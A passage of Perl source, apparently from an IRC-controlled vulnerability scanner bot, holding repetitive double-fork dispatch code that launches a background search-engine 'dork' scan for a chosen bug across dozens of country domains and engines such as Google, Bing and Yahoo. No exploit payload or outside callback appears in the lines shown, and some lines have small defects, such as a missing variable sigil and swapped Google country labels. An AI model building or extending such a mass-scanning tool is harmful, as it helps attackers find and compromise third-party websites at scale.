  1056. if ($engine =~ /at/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AT",$type); } exit; } }
  1057. if ($engine =~ /au/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AU",$type); } exit; } }
  1058. if ($engine =~ /br/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BR",$type); } exit; } }
  1059. if ($engine =~ /ca/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CA",$type); } exit; } }
  1060. if ($engine =~ /cl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CL",$type); } exit; } }
  1061. if ($engine =~ /cn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CN",$type); } exit; } }
  1062. if ($engine =~ /com/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CoM",$type); } exit; } }
  1063. if ($engine =~ /cz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CZ",$type); } exit; } }
  1064. if ($engine =~ /de/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DE",$type); } exit; } }
  1065. if ($engine =~ /dk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DK",$type); } exit; } }
  1066. if ($engine =~ /es/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ES",$type); } exit; } }
  1067. if ($engine =~ /eu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EU",$type); } exit; } }
  1068. if ($engine =~ /fr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FR",$type); } exit; } }
  1069. if ($engine =~ /hu/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HU",$type); } exit; } }
  1070. if ($engine =~ /id/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ID",$type); } exit; } }
  1071. if ($engine =~ /il/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IL",$type); } exit; } }
  1072. if ($engine =~ /in/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IN",$type); } exit; } }
  1073. if ($engine =~ /info/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"InfO",$type); } exit; } }
  1074. if ($engine =~ /ir/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IR",$type); } exit; } }
  1075. if ($engine =~ /it/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IT",$type); } exit; } }
  1076. if ($engine =~ /jp/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"JP",$type); } exit; } }
  1077. if ($engine =~ /kr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KR",$type); } exit; } }
  1078. if ($engine =~ /mx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MX",$type); } exit; } }
  1079. if ($engine =~ /my/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MY",$type); } exit; } }
  1080. if ($engine =~ /net/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NeT",$type); } exit; } }
  1081. if ($engine =~ /nl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NL",$type); } exit; } }
  1082. if ($engine =~ /org/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OrG",$type); } exit; } }
  1083. if ($engine =~ /ph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PH",$type); } exit; } }
  1084. if ($engine =~ /pl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PL",$type); } exit; } }
  1085. if ($engine =~ /ro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RO",$type); } exit; } }
  1086. if ($engine =~ /ru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RU",$type); } exit; } }
  1087. if ($engine =~ /th/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TH",$type); } exit; } }
  1088. if ($engine =~ /ua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UA",$type); } exit; } }
  1089. if ($engine =~ /uk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UK",$type); } exit; } }
  1090. if ($engine =~ /us/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"US",$type); } exit; } }
  1091. if ($engine =~ /si/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SI",$type); } exit; } }
  1092. if ($engine =~ /be/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BE",$type); } exit; } }
  1093. if ($engine =~ /biz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BIZ",$type); } exit; } }
  1094. if ($engine =~ /ag/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AG",$type); } exit; } }
  1095. if ($engine =~ /ai/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AI",$type); } exit; } }
  1096. if ($engine =~ /an/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AN",$type); } exit; } }
  1097. if ($engine =~ /aq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AQ",$type); } exit; } }
  1098. if ($engine =~ /as/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AS",$type); } exit; } }
  1099. if ($engine =~ /aw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AW",$type); } exit; } }
  1100. if ($engine =~ /az/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AZ",$type); } exit; } }
  1101. if ($engine =~ /ax/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AX",$type); } exit; } }
  1102. if ($engine =~ /ba/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BA",$type); } exit; } }
  1103. if ($engine =~ /bf/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BF",$type); } exit; } }
  1104. if ($engine =~ /bh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BH",$type); } exit; } }
  1105. if ($engine =~ /bi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BI",$type); } exit; } }
  1106. if ($engine =~ /bj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BJ",$type); } exit; } }
  1107. if ($engine =~ /bm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BM",$type); } exit; } }
  1108. if ($engine =~ /bo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BO",$type); } exit; } }
  1109. if ($engine =~ /bs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BS",$type); } exit; } }
  1110. if ($engine =~ /bt/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BT",$type); } exit; } }
  1111. if ($engine =~ /bv/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BV",$type); } exit; } }
  1112. if ($engine =~ /bw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BW",$type); } exit; } }
  1113. if ($engine =~ /cc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CC",$type); } exit; } }
  1114. if ($engine =~ /cd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CD",$type); } exit; } }
  1115. if ($engine =~ /ci/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CI",$type); } exit; } }
  1116. if ($engine =~ /cm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CM",$type); } exit; } }
  1117. if ($engine =~ /co/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CO",$type); } exit; } }
  1118. if ($engine =~ /cx/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CX",$type); } exit; } }
  1119. if ($engine =~ /cy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CY",$type); } exit; } }
  1120. if ($engine =~ /dd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DD",$type); } exit; } }
  1121. if ($engine =~ /dj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DJ",$type); } exit; } }
  1122. if ($engine =~ /dm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DM",$type); } exit; } }
  1123. if ($engine =~ /dz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"DZ",$type); } exit; } }
  1124. if ($engine =~ /ec/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EC",$type); } exit; } }
  1125. if ($engine =~ /ee/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EE",$type); } exit; } }
  1126. if ($engine =~ /eg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EG",$type); } exit; } }
  1127. if ($engine =~ /eh/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"EH",$type); } exit; } }
  1128. if ($engine =~ /er/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ER",$type); } exit; } }
  1129. if ($engine =~ /et/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ET",$type); } exit; } }
  1130. if ($engine =~ /fi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FI",$type); } exit; } }
  1131. if ($engine =~ /fj/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FJ",$type); } exit; } }
  1132. if ($engine =~ /fo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"FO",$type); } exit; } }
  1133. if ($engine =~ /ga/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GA",$type); } exit; } }
  1134. if ($engine =~ /gb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GB",$type); } exit; } }
  1135. if ($engine =~ /ge/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GE",$type); } exit; } }
  1136. if ($engine =~ /hk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HK",$type); } exit; } }
  1137. if ($engine =~ /hm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HM",$type); } exit; } }
  1138. if ($engine =~ /hn/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HN",$type); } exit; } }
  1139. if ($engine =~ /iq/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"IQ",$type); } exit; } }
  1140. if ($engine =~ /kw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"KW",$type); } exit; } }
  1141. if ($engine =~ /lb/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LB",$type); } exit; } }
  1142. if ($engine =~ /lr/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LR",$type); } exit; } }
  1143. if ($engine =~ /ly/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LY",$type); } exit; } }
  1144. if ($engine =~ /me/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ME",$type); } exit; } }
  1145. if ($engine =~ /mm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MM",$type); } exit; } }
  1146. if ($engine =~ /mz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"MZ",$type); } exit; } }
  1147. if ($engine =~ /nc/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NC",$type); } exit; } }
  1148. if ($engine =~ /ne/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NE",$type); } exit; } }
  1149. if ($engine =~ /no/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"NO",$type); } exit; } }
  1150. if ($engine =~ /pa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PA",$type); } exit; } }
  1151. if ($engine =~ /py/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"PY",$type); } exit; } }
  1152. if ($engine =~ /rs/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"RS",$type); } exit; } }
  1153. if ($engine =~ /sa/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SA",$type); } exit; } }
  1154. if ($engine =~ /sd/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SD",$type); } exit; } }
  1155. if ($engine =~ /sg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SG",$type); } exit; } }
  1156. if ($engine =~ /sk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SK",$type); } exit; } }
  1157. if ($engine =~ /sy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SY",$type); } exit; } }
  1158. if ($engine =~ /tw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"TW",$type); } exit; } }
  1159. if ($engine =~ /uy/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UY",$type); } exit; } }
  1160. if ($engine =~ /ve/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"VE",$type); } exit; } }
  1161. if ($engine =~ /ws/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WS",$type); } exit; } }
  1162. if ($engine =~ /za/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZA",$type); } exit; } }
  1163. if ($engine =~ /zm/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZM",$type); } exit; } }
  1164. if ($engine =~ /zw/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"ZW",$type); } exit; } }
  1165. }
  1166. if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"GooGLe",$type); } exit; } }
  1167. if ($gps2 ==1) {
  1168. if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"Bing",$type); } exit; } }
  1169. if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BigLobe",$type); } exit; } }
  1170. if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"WaLLa",$type); } exit; } }
  1171. if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"YaHoo",$type); } exit; } }
  1172. if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AsK",$type); } exit; } }
  1173. if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"UoL",$type); } exit; } }
  1174. if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"OnEt",$type); } exit; } }
  1175. if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"CLusTy",$type); } exit; } }
  1176. if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SaPo",$type); } exit; } }
  1177. if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"AoL",$type); } exit; } }
  1178. if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"LyCos",$type); } exit; } }
  1179. if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"HotBot",$type); } exit; } }
  1180. if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"SeZNam",$type); } exit; } }
  1181.     if ($engine =~ /googleDE/i) {
  1182.         if (my $pid = fork) { waitpid($pid, 0); }
  1183.         else { if (fork) { exit; } else {
  1184.         &type(chan,$bug,$simpan,$dork,"GooGLeDE",$type);
  1185.         } exit; }
  1186.     }
  1187.     if ($engine =~ /googleUK/i) {
  1188.         if (my $pid = fork) { waitpid($pid, 0); }
  1189.         else { if (fork) { exit; } else {
  1190.         &type(chan,$bug,$simpan,$dork,"GooGLeUK",$type);
  1191.         } exit; }
  1192.     }
  1193.     if ($engine =~ /googleFR/i) {
  1194.         if (my $pid = fork) { waitpid($pid, 0); }
  1195.         else { if (fork) { exit; } else {
  1196.         &type(chan,$bug,$simpan,$dork,"GooGLeFR",$type);
  1197.         } exit; }
  1198.     }
  1199.     if ($engine =~ /googleES/i) {
  1200.         if (my $pid = fork) { waitpid($pid, 0); }
  1201.         else { if (fork) { exit; } else {
  1202.         &type(chan,$bug,$simpan,$dork,"GooGLeES",$type);
  1203.         } exit; }
  1204.     }
  1205.     if ($engine =~ /googleIT/i) {
  1206.         if (my $pid = fork) { waitpid($pid, 0); }
  1207.         else { if (fork) { exit; } else {
  1208.         &type(chan,$bug,$simpan,$dork,"GooGLeIT",$type);
  1209.         } exit; }
  1210.     }
  1211.     if ($engine =~ /googleNL/i) {
  1212.         if (my $pid = fork) { waitpid($pid, 0); }
  1213.         else { if (fork) { exit; } else {
  1214.         &type(chan,$bug,$simpan,$dork,"GooGLeNL",$type);
  1215.         } exit; }
  1216.     }
  1217.     if ($engine =~ /googleSE/i) {
  1218.         if (my $pid = fork) { waitpid($pid, 0); }
  1219.         else { if (fork) { exit; } else {
  1220.         &type(chan,$bug,$simpan,$dork,"GooGLeSE",$type);
  1221.         } exit; }
  1222.     }
  1223.     if ($engine =~ /googleAU/i) {
  1224.         if (my $pid = fork) { waitpid($pid, 0); }
  1225.         else { if (fork) { exit; } else {
  1226.         &type(chan,$bug,$simpan,$dork,"GooGLeNO",$type);
  1227.         } exit; }
  1228.     }
  1229.     if ($engine =~ /googleBR/i) {
  1230.         if (my $pid = fork) { waitpid($pid, 0); }
  1231.         else { if (fork) { exit; } else {
  1232.         &type(chan,$bug,$simpan,$dork,"GooGLeBR",$type);
  1233.         } exit; }
  1234.     }
  1235.     if ($engine =~ /googleCO/i) {
  1236.         if (my $pid = fork) { waitpid($pid, 0); }
  1237.         else { if (fork) { exit; } else {
  1238.         &type(chan,$bug,$simpan,$dork,"GooGLeCO",$type);
  1239.         } exit; }
  1240.     }
  1241.     if ($engine =~ /googleNO/i) {
  1242.         if (my $pid = fork) { waitpid($pid, 0); }
  1243.         else { if (fork) { exit; } else {
  1244.         &type(chan,$bug,$simpan,$dork,"GooGLeAU",$type);
  1245.         } exit; }
  1246.     }
  1247.     if ($engine =~ /googleRU/i) {
  1248.         if (my $pid = fork) { waitpid($pid, 0); }
  1249.         else { if (fork) { exit; } else {
  1250.         &type(chan,$bug,$simpan,$dork,"GooGLeRU",$type);
  1251.         } exit; }
  1252.     }
  1253.     if ($engine =~ /googlePL/i) {
  1254.         if (my $pid = fork) { waitpid($pid, 0); }
  1255.         else { if (fork) { exit; } else {
  1256.         &type(chan,$bug,$simpan,$dork,"GooGLePL",$type);
  1257.         } exit; }
  1258.     }
  1259.     if ($engine =~ /googleIL/i) {
  1260.         if (my $pid = fork) { waitpid($pid, 0); }
  1261.         else { if (fork) { exit; } else {
  1262.         &type(chan,$bug,$simpan,$dork,"GooGLeIL",$type);
  1263.         } exit; }
  1264.     }
  1265.     if ($engine =~ /googleJP/i) {
  1266.         if (my $pid = fork) { waitpid($pid, 0); }
  1267.         else { if (fork) { exit; } else {
  1268.         &type(chan,$bug,$simpan,$dork,"GooGLeJP",$type);
  1269.         } exit; }
  1270.     }
  1271.     if ($engine =~ /googleCN/i) {
  1272.         if (my $pid = fork) { waitpid($pid, 0); }
  1273.         else { if (fork) { exit; } else {
  1274.         &type(chan,$bug,$simpan,$dork,"GooGLeCN",$type);
  1275.         } exit; }
  1276.     }
  1277.     if ($engine =~ /googleIN/i) {
  1278.         if (my $pid = fork) { waitpid($pid, 0); }
  1279.         else { if (fork) { exit; } else {
  1280.         &type(chan,$bug,$simpan,$dork,"GooGLeIN",$type);
  1281.         } exit; }
  1282.     }
  1283.     if ($engine =~ /googleKR/i) {
  1284.         if (my $pid = fork) { waitpid($pid, 0); }
  1285.         else { if (fork) { exit; } else {
  1286.         &type(chan,$bug,$simpan,$dork,"GooGLeKR",$type);
  1287.         } exit; }
  1288.     }
  1289.     if ($engine =~ /googleRO/i) {
  1290.         if (my $pid = fork) { waitpid($pid, 0); }
  1291.         else { if (fork) { exit; } else {
  1292.         &type(chan,$bug,$simpan,$dork,"GooGLeRO",$type);
  1293.         } exit; }
  1294.     }
  1295.     if ($engine =~ /googleZA/i) {
  1296.         if (my $pid = fork) { waitpid($pid, 0); }
  1297.         else { if (fork) { exit; } else {
  1298.         &type(chan,$bug,$simpan,$dork,"GooGLeZA",$type);
  1299.         } exit; }
  1300.     }
  1301.     if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDE",$type); } exit; } }
  1302.     if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingUK",$type); } exit; } }
  1303.     if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCA",$type); } exit; } }
  1304.     if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBR",$type); } exit; } }
  1305.     if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingFR",$type); } exit; } }
  1306.     if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingES",$type); } exit; } }
  1307.     if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingIT",$type); } exit; } }
  1308.     if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingBE",$type); } exit; } }
  1309.     if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNL",$type); } exit; } }
  1310.     if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingPT",$type); } exit; } }
  1311.     if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNO",$type); } exit; } }
  1312.     if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingDK",$type); } exit; } }
  1313.     if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingSE",$type); } exit; } }
  1314.     if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingCH",$type); } exit; } }
  1315.     if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$simpan,$dork,"BingNZ",$type); } exit; } }
